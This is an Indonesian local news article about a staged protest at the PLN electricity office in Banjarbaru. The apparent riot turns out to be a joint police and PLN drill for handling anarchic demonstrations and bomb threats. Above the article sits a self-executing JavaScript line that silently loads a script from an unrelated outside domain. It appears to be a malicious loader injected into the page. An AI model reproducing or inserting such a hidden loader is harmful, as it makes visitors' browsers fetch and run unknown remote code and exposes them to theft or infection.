(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ratusan massa melakukan protes atas pelayanan PT Perusahaan listrik Negara (PLN) Kantor Wilayah Kalimantan Selatan dan Kalimantan Tengah di jalan Panglima Batur Barat, Kelurahan Loktabat Utara Kecamatan Banjarbaru Utara Kota Banjarbaru, Rabu (20/11).
Kenaikan tarif PLN dan seringnya pemadaman listrik yang dilakukan oleh PT PLN (Persero) mengakibatkan aksi massa yang mendatangi Kantor PLN Wilayah Kalselteng.
Massa menuntut agar PLN ganti rugi kerusakan barang elektronik yang disebabkan sering terjadinya pemadaman dan meminta penurunan tarif PLN.
Awalnya massa diterima dengan baik-baik oleh pihak security terjadi dialog namun massa bersikeras ingin masuk bertemu dengan pimpinan untuk menyampaikan masalah yang dialami. Perwakilan massa dapat masuk untuk menemui pimpinan PLN namun tidak ada titik temu antara kedua belah pihak.
“PLN Pembohong, listrik naik tapi sering matiz” koar massa di depan pintu gerbang kantor PLN.
Melihat massa yang semakin banyak pihak security kemudian meminta bantuan Polisi Polres Banjarbaru untuk menghalang massa yang mulai meringsek masuk kedalam halaman, massa mulai melakukan pelemparan dan pembakaran.
Tapi ini bukan lah aksi sebenarnya. Situasi tersebut adalah latihan gabungan dalam rangka simulasi gabungan penanganan aksi unjukrasa anarkis dan antisipasi ancaman bom bertempat di Kanwil PT PLN (Persero) Kalselteng, dipimpin oleh Kabag Ops Polres Banjarbaru Kompol Mujiono didampingi Kasat Sabhara AKP Supri.
“Jadi dalam latihan, diperagakan adegan sampai ricuh antara massa yang diperankan oleh karyawan PLN dengan Personel Polres Banjarbaru, hingga ada adegan tembakan Gas airmata dan dugaan penemuan bom,” kata Kabag Ops.
Latihan ini juga untuk menjalin silahturahmi antara pimpinan PT PLN Kanwil Kalselteng dengan Kapolres Banjarbaru AKBP Doni Hadi Santoso SIk MH. Dari hasil latihan yang sebelumnya dilaksanakan, Kabag Ops meminta kepada pihak PLN agar siapkan alat peraga, kantong plastik berisi air diperbanyak, alat peraga lainnya seperti ban yang akan dibakar dan pengeras suara atau sound sistem agar skenario yang dibacakan bisa terdengar.
“Adegan penguraian massa ini sebelumnya sudah kami latih di Mapolres Banjarbaru dengan skenario sesuai di lapangan,” tambahnya. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.